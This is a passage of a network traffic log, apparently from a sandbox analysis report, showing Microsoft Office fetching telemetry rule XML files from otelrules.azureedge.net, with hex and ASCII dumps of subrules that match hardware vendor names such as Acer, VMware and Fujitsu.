T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49778	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:02 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035302Z-16849878b78hh85qc40uyr8sc8000000064g00000000rfrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49776	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:02 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035302Z-16849878b78qf2gleqhwczd21s000000067g000000005x87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:02 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035302Z-16849878b78qfbkc5yywmsbg0c00000005q00000000078gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:03 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:03 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035303Z-16849878b7828dsgct3vrzta7000000004e00000000070b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:03 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:03 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035303Z-16849878b78qfbkc5yywmsbg0c00000005sg000000000ny6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:03 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9316c32-001e-0014-265e-275151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035303Z-r197bdfb6b46krmwag4tzr9x7c00000005w0000000001hc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:03 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:03 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035303Z-16849878b78qf2gleqhwczd21s000000068g000000002y3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:03 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:03 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035303Z-16849878b787wpl5wqkt5731b400000006u0000000003u7m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b78z2wx67pvzz63kdg00000004n0000000007p5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49786	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b78p49s6zkwt11bbkn00000005n000000000dsw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b78z2wx67pvzz63kdg00000004ng000000005umq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 862c7620-501e-0029-4f4f-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-15b8d89586f6nn8zqg1h5suba800000001b00000000009kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 